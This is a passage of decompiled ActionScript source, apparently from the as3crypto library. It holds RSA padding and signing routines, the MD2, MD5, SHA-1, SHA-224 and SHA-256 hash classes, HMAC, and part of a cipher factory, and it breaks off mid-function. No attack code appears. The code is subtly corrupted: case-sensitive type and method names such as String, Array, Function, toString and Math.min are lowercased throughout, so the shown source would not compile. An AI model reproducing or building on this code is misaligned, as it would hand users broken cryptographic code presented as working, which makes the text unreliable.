            e = 0;

            n.dispose();

            n = null;

            Memory.gc();

        }

        private function _encrypt(_arg1:function, _arg2:ByteArray, _arg3:ByteArray, _arg4:uint, _arg5:function, _arg6:int):void{

            var _local7:uint;

            var _local8:int;

            var _local9:BigInteger;

            var _local10:BigInteger;

            if (_arg5 == null){

                _arg5 = pkcs1pad;

            };

            if (_arg2.position >= _arg2.length){

                _arg2.position = 0;

            };

            _local7 = getBlockSize();

            _local8 = (_arg2.position + _arg4);

            while (_arg2.position < _local8) {

                _local9 = new BigInteger(_arg5(_arg2, _local8, _local7, _arg6), _local7);

                _local10 = _arg1(_local9);

                _local10.toArray(_arg3);

            };

        }

        private function rawpad(_arg1:ByteArray, _arg2:int, _arg3:uint):ByteArray{

            return (_arg1);

        }

        public function encrypt(_arg1:ByteArray, _arg2:ByteArray, _arg3:uint, _arg4:function=null):void{

            _encrypt(doPublic, _arg1, _arg2, _arg3, _arg4, 2);

        }

        private function pkcs1pad(_arg1:ByteArray, _arg2:int, _arg3:uint, _arg4:uint=2):ByteArray{

            var _local5:ByteArray;

            var _local6:uint;

            var _local7:int;

            var _local8:random;

            var _local9:int;

            _local5 = new ByteArray();

            _local6 = _arg1.position;

            _arg2 = math.min(_arg2, _arg1.length, ((_local6 + _arg3) - 11));

            _arg1.position = _arg2;

            _local7 = (_arg2 - 1);

            while ((((_local7 >= _local6)) && ((_arg3 > 11)))) {

                --_arg3;

                var _local10 = _arg3;

                var _temp1 = _local7;

                _local7 = (_local7 - 1);

                _local5[_local10] = _arg1[_temp1];

            };

            --_arg3;

            _local10 = _arg3;

            _local5[_local10] = 0;

            _local8 = new random();

            while (_arg3 > 2) {

                _local9 = 0;

                while (_local9 == 0) {

                    _local9 = ((_arg4)==2) ? _local8.nextByte() : 0xFF;

                };

                --_arg3;

                var _local11 = _arg3;

                _local5[_local11] = _local9;

            };

            --_arg3;

            _local11 = _arg3;

            _local5[_local11] = _arg4;

            --_arg3;

            var _local12 = _arg3;

            _local5[_local12] = 0;

            return (_local5);

        }

        private function pkcs1unpad(_arg1:BigInteger, _arg2:uint, _arg3:uint=2):ByteArray{

            var _local4:ByteArray;

            var _local5:ByteArray;

            var _local6:int;

            _local4 = _arg1.toByteArray();

            _local5 = new ByteArray();

            _local6 = 0;

            while ((((_local6 < _local4.length)) && ((_local4[_local6] == 0)))) {

                _local6++;

            };

            if (((!(((_local4.length - _local6) == (_arg2 - 1)))) || ((_local4[_local6] > 2)))){

                trace(((("PKCS#1 unpad: i=" + _local6) + ", expected b[i]==[0,1,2], got b[i]=") + _local4[_local6].tostring(16)));

                return (null);

            };

            _local6++;

            while (_local4[_local6] != 0) {

                ++_local6;

                if (_local6 >= _local4.length){

                    trace((((("PKCS#1 unpad: i=" + _local6) + ", b[i-1]!=0 (=") + _local4[(_local6 - 1)].tostring(16)) + ")"));

                    return (null);

                };

            };

            while (++_local6 < _local4.length) {

                _local5.writeByte(_local4[_local6]);

            };

            _local5.position = 0;

            return (_local5);

        }

        public function getBlockSize():uint{

            return (((n.bitLength() + 7) / 8));

        }

        public function tostring():string{

            return ("rsa");

        }

        public function sign(_arg1:ByteArray, _arg2:ByteArray, _arg3:uint, _arg4:function=null):void{

            _encrypt(doPrivate2, _arg1, _arg2, _arg3, _arg4, 1);

        }

        protected function doPrivate(_arg1:BigInteger):BigInteger{

            var _local2:BigInteger;

            var _local3:BigInteger;

            if ((((p == null)) || ((q == null)))){

                return (_arg1.modPow(d, n));

            };

            _local2 = _arg1.mod(p).modPow(dmp1, p);

            _local3 = _arg1.mod(q).modPow(dmq1, q);

            while (_local2.compareTo(_local3) < 0) {

                _local2 = _local2.add(p);

            };

            return (_local2.subtract(_local3).multiply(coeff).mod(p).multiply(q).add(_local3));

        }



    }

}//package com.hurlant.crypto.rsa

&#65279;package com.hurlant.crypto.hash {

    import flash.utils.*;



    public interface IHash {



        function tostring():string;

        function getHashSize():uint;

        function getInputSize():uint;

        function hash(_arg1:ByteArray):ByteArray;



    }

}//package com.hurlant.crypto.hash

&#65279;package com.hurlant.crypto.hash {

    import flash.utils.*;



    public class SHABase implements IHash {



        public function getHashSize():uint{

            return (0);

        }

        public function tostring():string{

            return ("sha");

        }

        public function getInputSize():uint{

            return (64);

        }

        public function hash(_arg1:ByteArray):ByteArray{

            var _local2:uint;

            var _local3:string;

            var _local4:uint;

            var _local5:array;

            var _local6:uint;

            var _local7:array;

            var _local8:ByteArray;

            var _local9:uint;

            _local2 = _arg1.length;

            _local3 = _arg1.endian;

            _arg1.endian = Endian.BIG_ENDIAN;

            _local4 = (_local2 * 8);

            while ((_arg1.length % 4) != 0) {

                _arg1[_arg1.length] = 0;

            };

            _arg1.position = 0;

            _local5 = [];

            _local6 = 0;

            while (_local6 < _arg1.length) {

                _local5.push(_arg1.readUnsignedInt());

                _local6 = (_local6 + 4);

            };

            _local7 = core(_local5, _local4);

            _local8 = new ByteArray();

            _local9 = (getHashSize() / 4);

            _local6 = 0;

            while (_local6 < _local9) {

                _local8.writeUnsignedInt(_local7[_local6]);

                _local6++;

            };

            _arg1.length = _local2;

            _arg1.endian = _local3;

            return (_local8);

        }

        protected function core(_arg1:array, _arg2:uint):array{

            return (null);

        }



    }

}//package com.hurlant.crypto.hash

&#65279;package com.hurlant.crypto.hash {

    import flash.utils.*;



    public class MD5 implements IHash {



        public static const HASH_SIZE:int = 16;



        private function ff(_arg1:uint, _arg2:uint, _arg3:uint, _arg4:uint, _arg5:uint, _arg6:uint, _arg7:uint):uint{

            return (cmn(((_arg2 & _arg3) | (~(_arg2) & _arg4)), _arg1, _arg2, _arg5, _arg6, _arg7));

        }

        private function hh(_arg1:uint, _arg2:uint, _arg3:uint, _arg4:uint, _arg5:uint, _arg6:uint, _arg7:uint):uint{

            return (cmn(((_arg2 ^ _arg3) ^ _arg4), _arg1, _arg2, _arg5, _arg6, _arg7));

        }

        private function cmn(_arg1:uint, _arg2:uint, _arg3:uint, _arg4:uint, _arg5:uint, _arg6:uint):uint{

            return ((rol((((_arg2 + _arg1) + _arg4) + _arg6), _arg5) + _arg3));

        }

        public function getHashSize():uint{

            return (HASH_SIZE);

        }

        private function ii(_arg1:uint, _arg2:uint, _arg3:uint, _arg4:uint, _arg5:uint, _arg6:uint, _arg7:uint):uint{

            return (cmn((_arg3 ^ (_arg2 | ~(_arg4))), _arg1, _arg2, _arg5, _arg6, _arg7));

        }

        private function rol(_arg1:uint, _arg2:uint):uint{

            return (((_arg1 << _arg2) | (_arg1 >>> (32 - _arg2))));

        }

        public function tostring():string{

            return ("md5");

        }

        public function getInputSize():uint{

            return (64);

        }

        private function gg(_arg1:uint, _arg2:uint, _arg3:uint, _arg4:uint, _arg5:uint, _arg6:uint, _arg7:uint):uint{

            return (cmn(((_arg2 & _arg4) | (_arg3 & ~(_arg4))), _arg1, _arg2, _arg5, _arg6, _arg7));

        }

        public function hash(_arg1:ByteArray):ByteArray{

            var _local2:uint;

            var _local3:string;

            var _local4:array;

            var _local5:uint;

            var _local6:array;

            var _local7:ByteArray;

            _local2 = (_arg1.length * 8);

            _local3 = _arg1.endian;

            while ((_arg1.length % 4) != 0) {

                _arg1[_arg1.length] = 0;

            };

            _arg1.position = 0;

            _local4 = [];

            _arg1.endian = Endian.LITTLE_ENDIAN;

            _local5 = 0;

            while (_local5 < _arg1.length) {

                _local4.push(_arg1.readUnsignedInt());

                _local5 = (_local5 + 4);

            };

            _local6 = core_md5(_local4, _local2);

            _local7 = new ByteArray();

            _local7.endian = Endian.LITTLE_ENDIAN;

            _local5 = 0;

            while (_local5 < 4) {

                _local7.writeUnsignedInt(_local6[_local5]);

                _local5++;

            };

            _arg1.length = (_local2 / 8);

            _arg1.endian = _local3;

            return (_local7);

        }

        private function core_md5(_arg1:array, _arg2:uint):array{

            var _local3:uint;

            var _local4:uint;

            var _local5:uint;

            var _local6:uint;

            var _local7:uint;

            var _local8:uint;

            var _local9:uint;

            var _local10:uint;

            var _local11:uint;

            _arg1[(_arg2 >> 5)] = (_arg1[(_arg2 >> 5)] | (128 << (_arg2 % 32)));

            _arg1[((((_arg2 + 64) >>> 9) << 4) + 14)] = _arg2;

            _local3 = 1732584193;

            _local4 = 4023233417;

            _local5 = 2562383102;

            _local6 = 271733878;

            _local7 = 0;

            while (_local7 < _arg1.length) {

                _arg1[_local7] = ((_arg1[_local7]) || (0));

                _arg1[(_local7 + 1)] = ((_arg1[(_local7 + 1)]) || (0));

                _arg1[(_local7 + 2)] = ((_arg1[(_local7 + 2)]) || (0));

                _arg1[(_local7 + 3)] = ((_arg1[(_local7 + 3)]) || (0));

                _arg1[(_local7 + 4)] = ((_arg1[(_local7 + 4)]) || (0));

                _arg1[(_local7 + 5)] = ((_arg1[(_local7 + 5)]) || (0));

                _arg1[(_local7 + 6)] = ((_arg1[(_local7 + 6)]) || (0));

                _arg1[(_local7 + 7)] = ((_arg1[(_local7 + 7)]) || (0));

                _arg1[(_local7 + 8)] = ((_arg1[(_local7 + 8)]) || (0));

                _arg1[(_local7 + 9)] = ((_arg1[(_local7 + 9)]) || (0));

                _arg1[(_local7 + 10)] = ((_arg1[(_local7 + 10)]) || (0));

                _arg1[(_local7 + 11)] = ((_arg1[(_local7 + 11)]) || (0));

                _arg1[(_local7 + 12)] = ((_arg1[(_local7 + 12)]) || (0));

                _arg1[(_local7 + 13)] = ((_arg1[(_local7 + 13)]) || (0));

                _arg1[(_local7 + 14)] = ((_arg1[(_local7 + 14)]) || (0));

                _arg1[(_local7 + 15)] = ((_arg1[(_local7 + 15)]) || (0));

                _local8 = _local3;

                _local9 = _local4;

                _local10 = _local5;

                _local11 = _local6;

                _local3 = ff(_local3, _local4, _local5, _local6, _arg1[(_local7 + 0)], 7, 3614090360);

                _local6 = ff(_local6, _local3, _local4, _local5, _arg1[(_local7 + 1)], 12, 3905402710);

                _local5 = ff(_local5, _local6, _local3, _local4, _arg1[(_local7 + 2)], 17, 606105819);

                _local4 = ff(_local4, _local5, _local6, _local3, _arg1[(_local7 + 3)], 22, 3250441966);

                _local3 = ff(_local3, _local4, _local5, _local6, _arg1[(_local7 + 4)], 7, 4118548399);

                _local6 = ff(_local6, _local3, _local4, _local5, _arg1[(_local7 + 5)], 12, 1200080426);

                _local5 = ff(_local5, _local6, _local3, _local4, _arg1[(_local7 + 6)], 17, 2821735955);

                _local4 = ff(_local4, _local5, _local6, _local3, _arg1[(_local7 + 7)], 22, 4249261313);

                _local3 = ff(_local3, _local4, _local5, _local6, _arg1[(_local7 + 8)], 7, 1770035416);

                _local6 = ff(_local6, _local3, _local4, _local5, _arg1[(_local7 + 9)], 12, 2336552879);

                _local5 = ff(_local5, _local6, _local3, _local4, _arg1[(_local7 + 10)], 17, 0xFFFF5BB1);

                _local4 = ff(_local4, _local5, _local6, _local3, _arg1[(_local7 + 11)], 22, 2304563134);

                _local3 = ff(_local3, _local4, _local5, _local6, _arg1[(_local7 + 12)], 7, 1804603682);

                _local6 = ff(_local6, _local3, _local4, _local5, _arg1[(_local7 + 13)], 12, 4254626195);

                _local5 = ff(_local5, _local6, _local3, _local4, _arg1[(_local7 + 14)], 17, 2792965006);

                _local4 = ff(_local4, _local5, _local6, _local3, _arg1[(_local7 + 15)], 22, 1236535329);

                _local3 = gg(_local3, _local4, _local5, _local6, _arg1[(_local7 + 1)], 5, 4129170786);

                _local6 = gg(_local6, _local3, _local4, _local5, _arg1[(_local7 + 6)], 9, 3225465664);

                _local5 = gg(_local5, _local6, _local3, _local4, _arg1[(_local7 + 11)], 14, 643717713);

                _local4 = gg(_local4, _local5, _local6, _local3, _arg1[(_local7 + 0)], 20, 3921069994);

                _local3 = gg(_local3, _local4, _local5, _local6, _arg1[(_local7 + 5)], 5, 3593408605);

                _local6 = gg(_local6, _local3, _local4, _local5, _arg1[(_local7 + 10)], 9, 38016083);

                _local5 = gg(_local5, _local6, _local3, _local4, _arg1[(_local7 + 15)], 14, 3634488961);

                _local4 = gg(_local4, _local5, _local6, _local3, _arg1[(_local7 + 4)], 20, 3889429448);

                _local3 = gg(_local3, _local4, _local5, _local6, _arg1[(_local7 + 9)], 5, 568446438);

                _local6 = gg(_local6, _local3, _local4, _local5, _arg1[(_local7 + 14)], 9, 3275163606);

                _local5 = gg(_local5, _local6, _local3, _local4, _arg1[(_local7 + 3)], 14, 4107603335);

                _local4 = gg(_local4, _local5, _local6, _local3, _arg1[(_local7 + 8)], 20, 1163531501);

                _local3 = gg(_local3, _local4, _local5, _local6, _arg1[(_local7 + 13)], 5, 2850285829);

                _local6 = gg(_local6, _local3, _local4, _local5, _arg1[(_local7 + 2)], 9, 4243563512);

                _local5 = gg(_local5, _local6, _local3, _local4, _arg1[(_local7 + 7)], 14, 1735328473);

                _local4 = gg(_local4, _local5, _local6, _local3, _arg1[(_local7 + 12)], 20, 2368359562);

                _local3 = hh(_local3, _local4, _local5, _local6, _arg1[(_local7 + 5)], 4, 4294588738);

                _local6 = hh(_local6, _local3, _local4, _local5, _arg1[(_local7 + 8)], 11, 2272392833);

                _local5 = hh(_local5, _local6, _local3, _local4, _arg1[(_local7 + 11)], 16, 1839030562);

                _local4 = hh(_local4, _local5, _local6, _local3, _arg1[(_local7 + 14)], 23, 4259657740);

                _local3 = hh(_local3, _local4, _local5, _local6, _arg1[(_local7 + 1)], 4, 2763975236);

                _local6 = hh(_local6, _local3, _local4, _local5, _arg1[(_local7 + 4)], 11, 1272893353);

                _local5 = hh(_local5, _local6, _local3, _local4, _arg1[(_local7 + 7)], 16, 4139469664);

                _local4 = hh(_local4, _local5, _local6, _local3, _arg1[(_local7 + 10)], 23, 3200236656);

                _local3 = hh(_local3, _local4, _local5, _local6, _arg1[(_local7 + 13)], 4, 681279174);

                _local6 = hh(_local6, _local3, _local4, _local5, _arg1[(_local7 + 0)], 11, 3936430074);

                _local5 = hh(_local5, _local6, _local3, _local4, _arg1[(_local7 + 3)], 16, 3572445317);

                _local4 = hh(_local4, _local5, _local6, _local3, _arg1[(_local7 + 6)], 23, 76029189);

                _local3 = hh(_local3, _local4, _local5, _local6, _arg1[(_local7 + 9)], 4, 3654602809);

                _local6 = hh(_local6, _local3, _local4, _local5, _arg1[(_local7 + 12)], 11, 3873151461);

                _local5 = hh(_local5, _local6, _local3, _local4, _arg1[(_local7 + 15)], 16, 530742520);

                _local4 = hh(_local4, _local5, _local6, _local3, _arg1[(_local7 + 2)], 23, 3299628645);

                _local3 = ii(_local3, _local4, _local5, _local6, _arg1[(_local7 + 0)], 6, 4096336452);

                _local6 = ii(_local6, _local3, _local4, _local5, _arg1[(_local7 + 7)], 10, 1126891415);

                _local5 = ii(_local5, _local6, _local3, _local4, _arg1[(_local7 + 14)], 15, 2878612391);

                _local4 = ii(_local4, _local5, _local6, _local3, _arg1[(_local7 + 5)], 21, 4237533241);

                _local3 = ii(_local3, _local4, _local5, _local6, _arg1[(_local7 + 12)], 6, 1700485571);

                _local6 = ii(_local6, _local3, _local4, _local5, _arg1[(_local7 + 3)], 10, 2399980690);

                _local5 = ii(_local5, _local6, _local3, _local4, _arg1[(_local7 + 10)], 15, 4293915773);

                _local4 = ii(_local4, _local5, _local6, _local3, _arg1[(_local7 + 1)], 21, 2240044497);

                _local3 = ii(_local3, _local4, _local5, _local6, _arg1[(_local7 + 8)], 6, 1873313359);

                _local6 = ii(_local6, _local3, _local4, _local5, _arg1[(_local7 + 15)], 10, 4264355552);

                _local5 = ii(_local5, _local6, _local3, _local4, _arg1[(_local7 + 6)], 15, 2734768916);

                _local4 = ii(_local4, _local5, _local6, _local3, _arg1[(_local7 + 13)], 21, 1309151649);

                _local3 = ii(_local3, _local4, _local5, _local6, _arg1[(_local7 + 4)], 6, 4149444226);

                _local6 = ii(_local6, _local3, _local4, _local5, _arg1[(_local7 + 11)], 10, 3174756917);

                _local5 = ii(_local5, _local6, _local3, _local4, _arg1[(_local7 + 2)], 15, 718787259);

                _local4 = ii(_local4, _local5, _local6, _local3, _arg1[(_local7 + 9)], 21, 3951481745);

                _local3 = (_local3 + _local8);

                _local4 = (_local4 + _local9);

                _local5 = (_local5 + _local10);

                _local6 = (_local6 + _local11);

                _local7 = (_local7 + 16);

            };

            return ([_local3, _local4, _local5, _local6]);

        }



    }

}//package com.hurlant.crypto.hash

&#65279;package com.hurlant.crypto.hash {



    public class SHA224 extends SHA256 {



        public function SHA224(){

            h = [3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428];

        }

        override public function getHashSize():uint{

            return (28);

        }

        override public function tostring():string{

            return ("sha224");

        }



    }

}//package com.hurlant.crypto.hash

&#65279;package com.hurlant.crypto.hash {

    import flash.utils.*;



    public class HMAC {



        private var bits:uint;

        private var hash:IHash;



        public function HMAC(_arg1:IHash, _arg2:uint=0){

            this.hash = _arg1;

            this.bits = _arg2;

        }

        public function getHashSize():uint{

            if (bits != 0){

                return ((bits / 8));

            };

            return (hash.getHashSize());

        }

        public function dispose():void{

            hash = null;

            bits = 0;

        }

        public function compute(_arg1:ByteArray, _arg2:ByteArray):ByteArray{

            var _local3:ByteArray;

            var _local4:ByteArray;

            var _local5:ByteArray;

            var _local6:uint;

            var _local7:ByteArray;

            var _local8:ByteArray;

            if (_arg1.length > hash.getInputSize()){

                _local3 = hash.hash(_arg1);

            } else {

                _local3 = new ByteArray();

                _local3.writeBytes(_arg1);

            };

            while (_local3.length < hash.getInputSize()) {

                _local3[_local3.length] = 0;

            };

            _local4 = new ByteArray();

            _local5 = new ByteArray();

            _local6 = 0;

            while (_local6 < _local3.length) {

                _local4[_local6] = (_local3[_local6] ^ 54);

                _local5[_local6] = (_local3[_local6] ^ 92);

                _local6++;

            };

            _local4.position = _local3.length;

            _local4.writeBytes(_arg2);

            _local7 = hash.hash(_local4);

            _local5.position = _local3.length;

            _local5.writeBytes(_local7);

            _local8 = hash.hash(_local5);

            if ((((bits > 0)) && ((bits < (8 * _local8.length))))){

                _local8.length = (bits / 8);

            };

            return (_local8);

        }

        public function tostring():string{

            return ((("hmac-" + (((bits > 0)) ? (bits + "-") : "")) + hash.tostring()));

        }



    }

}//package com.hurlant.crypto.hash

&#65279;package com.hurlant.crypto.hash {



    public class SHA256 extends SHABase implements IHash {



        protected static const k:array = [1116352408, 1899447441, 3049323471, 3921009573, 961987163, 1508970993, 2453635748, 2870763221, 3624381080, 310598401, 607225278, 1426881987, 1925078388, 2162078206, 2614888103, 3248222580, 3835390401, 4022224774, 264347078, 604807628, 770255983, 1249150122, 1555081692, 1996064986, 2554220882, 2821834349, 2952996808, 3210313671, 3336571891, 3584528711, 113926993, 338241895, 666307205, 773529912, 1294757372, 1396182291, 1695183700, 1986661051, 2177026350, 2456956037, 2730485921, 2820302411, 3259730800, 3345764771, 3516065817, 3600352804, 4094571909, 275423344, 430227734, 506948616, 659060556, 883997877, 958139571, 1322822218, 1537002063, 1747873779, 1955562222, 2024104815, 2227730452, 2361852424, 2428436474, 2756734187, 3204031479, 3329325298];



        protected var h:array;



        public function SHA256(){

            h = [1779033703, 3144134277, 1013904242, 2773480762, 1359893119, 2600822924, 528734635, 1541459225];

            super();

        }

        protected function rrol(_arg1:uint, _arg2:uint):uint{

            return (((_arg1 << (32 - _arg2)) | (_arg1 >>> _arg2)));

        }

        override public function tostring():string{

            return ("sha256");

        }

        override public function getHashSize():uint{

            return (32);

        }

        override protected function core(_arg1:array, _arg2:uint):array{

            var _local3:array;

            var _local4:uint;

            var _local5:uint;

            var _local6:uint;

            var _local7:uint;

            var _local8:uint;

            var _local9:uint;

            var _local10:uint;

            var _local11:uint;

            var _local12:uint;

            var _local13:uint;

            var _local14:uint;

            var _local15:uint;

            var _local16:uint;

            var _local17:uint;

            var _local18:uint;

            var _local19:uint;

            var _local20:uint;

            var _local21:uint;

            var _local22:uint;

            var _local23:uint;

            var _local24:uint;

            var _local25:uint;

            _arg1[(_arg2 >> 5)] = (_arg1[(_arg2 >> 5)] | (128 << (24 - (_arg2 % 32))));

            _arg1[((((_arg2 + 64) >> 9) << 4) + 15)] = _arg2;

            _local3 = [];

            _local4 = h[0];

            _local5 = h[1];

            _local6 = h[2];

            _local7 = h[3];

            _local8 = h[4];

            _local9 = h[5];

            _local10 = h[6];

            _local11 = h[7];

            _local12 = 0;

            while (_local12 < _arg1.length) {

                _local13 = _local4;

                _local14 = _local5;

                _local15 = _local6;

                _local16 = _local7;

                _local17 = _local8;

                _local18 = _local9;

                _local19 = _local10;

                _local20 = _local11;

                _local21 = 0;

                while (_local21 < 64) {

                    if (_local21 < 16){

                        _local3[_local21] = ((_arg1[(_local12 + _local21)]) || (0));

                    } else {

                        _local24 = ((rrol(_local3[(_local21 - 15)], 7) ^ rrol(_local3[(_local21 - 15)], 18)) ^ (_local3[(_local21 - 15)] >>> 3));

                        _local25 = ((rrol(_local3[(_local21 - 2)], 17) ^ rrol(_local3[(_local21 - 2)], 19)) ^ (_local3[(_local21 - 2)] >>> 10));

                        _local3[_local21] = (((_local3[(_local21 - 16)] + _local24) + _local3[(_local21 - 7)]) + _local25);

                    };

                    _local22 = (((rrol(_local4, 2) ^ rrol(_local4, 13)) ^ rrol(_local4, 22)) + (((_local4 & _local5) ^ (_local4 & _local6)) ^ (_local5 & _local6)));

                    _local23 = ((((_local11 + ((rrol(_local8, 6) ^ rrol(_local8, 11)) ^ rrol(_local8, 25))) + ((_local8 & _local9) ^ (_local10 & ~(_local8)))) + k[_local21]) + _local3[_local21]);

                    _local11 = _local10;

                    _local10 = _local9;

                    _local9 = _local8;

                    _local8 = (_local7 + _local23);

                    _local7 = _local6;

                    _local6 = _local5;

                    _local5 = _local4;

                    _local4 = (_local23 + _local22);

                    _local21++;

                };

                _local4 = (_local4 + _local13);

                _local5 = (_local5 + _local14);

                _local6 = (_local6 + _local15);

                _local7 = (_local7 + _local16);

                _local8 = (_local8 + _local17);

                _local9 = (_local9 + _local18);

                _local10 = (_local10 + _local19);

                _local11 = (_local11 + _local20);

                _local12 = (_local12 + 16);

            };

            return ([_local4, _local5, _local6, _local7, _local8, _local9, _local10, _local11]);

        }



    }

}//package com.hurlant.crypto.hash

&#65279;package com.hurlant.crypto.hash {

    import flash.utils.*;



    public class MD2 implements IHash {



        public static const HASH_SIZE:int = 16;

        private static const S:array = [41, 46, 67, 201, 162, 216, 124, 1, 61, 54, 84, 161, 236, 240, 6, 19, 98, 167, 5, 243, 192, 199, 115, 140, 152, 147, 43, 217, 188, 76, 130, 202, 30, 155, 87, 60, 253, 212, 224, 22, 103, 66, 111, 24, 138, 23, 229, 18, 190, 78, 196, 214, 218, 158, 222, 73, 160, 251, 245, 142, 187, 47, 238, 122, 169, 104, 121, 145, 21, 178, 7, 63, 148, 194, 16, 137, 11, 34, 95, 33, 128, 127, 93, 154, 90, 144, 50, 39, 53, 62, 204, 231, 191, 247, 151, 3, 0xFF, 25, 48, 179, 72, 165, 181, 209, 215, 94, 146, 42, 172, 86, 170, 198, 79, 184, 56, 210, 150, 164, 125, 182, 118, 252, 107, 226, 156, 116, 4, 241, 69, 157, 112, 89, 100, 113, 135, 32, 134, 91, 207, 101, 230, 45, 168, 2, 27, 96, 37, 173, 174, 176, 185, 246, 28, 70, 97, 105, 52, 64, 126, 15, 85, 71, 163, 35, 221, 81, 175, 58, 195, 92, 249, 206, 186, 197, 234, 38, 44, 83, 13, 110, 133, 40, 132, 9, 211, 223, 205, 244, 65, 129, 77, 82, 106, 220, 55, 200, 108, 193, 171, 250, 36, 225, 123, 8, 12, 189, 177, 74, 120, 136, 149, 139, 227, 99, 232, 109, 233, 203, 213, 254, 59, 0, 29, 57, 242, 239, 183, 14, 102, 88, 208, 228, 166, 119, 114, 248, 235, 117, 75, 10, 49, 68, 80, 180, 143, 237, 31, 26, 219, 153, 141, 51, 159, 17, 131, 20];



        public function getHashSize():uint{

            return (HASH_SIZE);

        }

        public function tostring():string{

            return ("md2");

        }

        public function getInputSize():uint{

            return (16);

        }

        public function hash(_arg1:ByteArray):ByteArray{

            var _local2:uint;

            var _local3:uint;

            var _local4:uint;

            var _local5:ByteArray;

            var _local6:uint;

            var _local7:ByteArray;

            var _local8:uint;

            var _local9:uint;

            var _local10:uint;

            _local2 = _arg1.length;

            _local3 = (((16 - (_arg1.length % 16))) || (16));

            do  {

                _arg1[_arg1.length] = _local3;

            } while ((_arg1.length % 16) != 0);

            _local4 = _arg1.length;

            _local5 = new ByteArray();

            _local6 = 0;

            _local3 = 0;

            while (_local3 < _local4) {

                _local8 = 0;

                while (_local8 < 16) {

                    _local6 = (_local5[_local8] = (_local5[_local8] ^ S[(_arg1[(_local3 + _local8)] ^ _local6)]));

                    _local8++;

                };

                _local3 = (_local3 + 16);

            };

            _arg1.position = _arg1.length;

            _arg1.writeBytes(_local5);

            _local4 = (_local4 + 16);

            _local7 = new ByteArray();

            _local3 = 0;

            while (_local3 < _local4) {

                _local8 = 0;

                while (_local8 < 16) {

                    _local7[(32 + _local8)] = ((_local7[(16 + _local8)] = _arg1[(_local3 + _local8)]) ^ _local7[_local8]);

                    _local8++;

                };

                _local9 = 0;

                _local8 = 0;

                while (_local8 < 18) {

                    _local10 = 0;

                    while (_local10 < 48) {

                        _local9 = (_local7[_local10] ^ S[_local9]);

                        _local7[_local10] = _local9;

                        _local10++;

                    };

                    _local9 = ((_local9 + _local8) & 0xFF);

                    _local8++;

                };

                _local3 = (_local3 + 16);

            };

            _local7.length = 16;

            _arg1.length = _local2;

            return (_local7);

        }



    }

}//package com.hurlant.crypto.hash

&#65279;package com.hurlant.crypto.hash {



    public class SHA1 extends SHABase implements IHash {



        public static const HASH_SIZE:int = 20;



        private function ft(_arg1:uint, _arg2:uint, _arg3:uint, _arg4:uint):uint{

            if (_arg1 < 20){

                return (((_arg2 & _arg3) | (~(_arg2) & _arg4)));

            };

            if (_arg1 < 40){

                return (((_arg2 ^ _arg3) ^ _arg4));

            };

            if (_arg1 < 60){

                return ((((_arg2 & _arg3) | (_arg2 & _arg4)) | (_arg3 & _arg4)));

            };

            return (((_arg2 ^ _arg3) ^ _arg4));

        }

        private function kt(_arg1:uint):uint{

            return (((_arg1)<20) ? 1518500249 : ((_arg1)<40) ? 1859775393 : ((_arg1)<60) ? 2400959708 : 3395469782);

        }

        override public function tostring():string{

            return ("sha1");

        }

        override public function getHashSize():uint{

            return (HASH_SIZE);

        }

        private function rol(_arg1:uint, _arg2:uint):uint{

            return (((_arg1 << _arg2) | (_arg1 >>> (32 - _arg2))));

        }

        override protected function core(_arg1:array, _arg2:uint):array{

            var _local3:array;

            var _local4:uint;

            var _local5:uint;

            var _local6:uint;

            var _local7:uint;

            var _local8:uint;

            var _local9:uint;

            var _local10:uint;

            var _local11:uint;

            var _local12:uint;

            var _local13:uint;

            var _local14:uint;

            var _local15:uint;

            var _local16:uint;

            _arg1[(_arg2 >> 5)] = (_arg1[(_arg2 >> 5)] | (128 << (24 - (_arg2 % 32))));

            _arg1[((((_arg2 + 64) >> 9) << 4) + 15)] = _arg2;

            _local3 = [];

            _local4 = 1732584193;

            _local5 = 4023233417;

            _local6 = 2562383102;

            _local7 = 271733878;

            _local8 = 3285377520;

            _local9 = 0;

            while (_local9 < _arg1.length) {

                _local10 = _local4;

                _local11 = _local5;

                _local12 = _local6;

                _local13 = _local7;

                _local14 = _local8;

                _local15 = 0;

                while (_local15 < 80) {

                    if (_local15 < 16){

                        _local3[_local15] = ((_arg1[(_local9 + _local15)]) || (0));

                    } else {

                        _local3[_local15] = rol((((_local3[(_local15 - 3)] ^ _local3[(_local15 - 8)]) ^ _local3[(_local15 - 14)]) ^ _local3[(_local15 - 16)]), 1);

                    };

                    _local16 = ((((rol(_local4, 5) + ft(_local15, _local5, _local6, _local7)) + _local8) + _local3[_local15]) + kt(_local15));

                    _local8 = _local7;

                    _local7 = _local6;

                    _local6 = rol(_local5, 30);

                    _local5 = _local4;

                    _local4 = _local16;

                    _local15++;

                };

                _local4 = (_local4 + _local10);

                _local5 = (_local5 + _local11);

                _local6 = (_local6 + _local12);

                _local7 = (_local7 + _local13);

                _local8 = (_local8 + _local14);

                _local9 = (_local9 + 16);

            };

            return ([_local4, _local5, _local6, _local7, _local8]);

        }



    }

}//package com.hurlant.crypto.hash

&#65279;package com.hurlant.crypto {

    import flash.utils.*;

    import com.hurlant.crypto.symmetric.*;

    import com.hurlant.crypto.hash.*;

    import com.hurlant.crypto.rsa.*;

    import com.hurlant.crypto.prng.*;

    import com.hurlant.util.*;



    public class Crypto {



        private var b64:Base64;



        public static function getCipher(_arg1:string, _arg2:ByteArray, _arg3:IPad=null):ICipher{

            var _local4:array;

            var _local5:ICipher;

            _local4 = _arg1.split("-");

            switch (_local4[0]){

                case "simple":

                    _local4.shift();

                    _arg1 = _local4.join("-");

                    _local5 = getCipher(_arg1, _arg2, _arg3);

                    if ((_local5 is IVMode)){

                        return (new SimpleIVMode((_local5 as IVMode)));

                    };

                    return (_local5);

                case "aes":

                case "aes128":

                case "aes192":

                case "aes256":

                    _local4.shift();

                    if ((_arg2.length * 8) == _local4[0]){

                        _local4.shift();

                    };

                    return (getMode(_local4[0], new AESKey(_arg2), _arg3));

                case "bf":

                case "blowfish":

                    _local4.shift();

                    return (getMode(_local4[0], new BlowFishKey(_arg2), _arg3));

                case "des":

                    _local4.shift();

                    if (((!((_local4[0] == "ede"))) && (!((_local4[0] == "ede3"))))){

                        return (getMode(_local4[0], new DESKey(_arg2), _arg3));

                    };

                    if (_local4.length == 1){

                        _local4.push("ecb");

                    };

                case "3des":

                case "des3":

                    _local4.shift();

                    return (getMode(_local4[0], new TripleDESKey(_arg2), _arg3));

                case "xtea":

                    _local4.shift();

                    return (getMode(_local4[0], new XTeaKey(_arg2), _arg3));

                case "rc4":

                    _local4.shift();

                    return (new ARC4(_arg2));

            };

            return (null);

        }

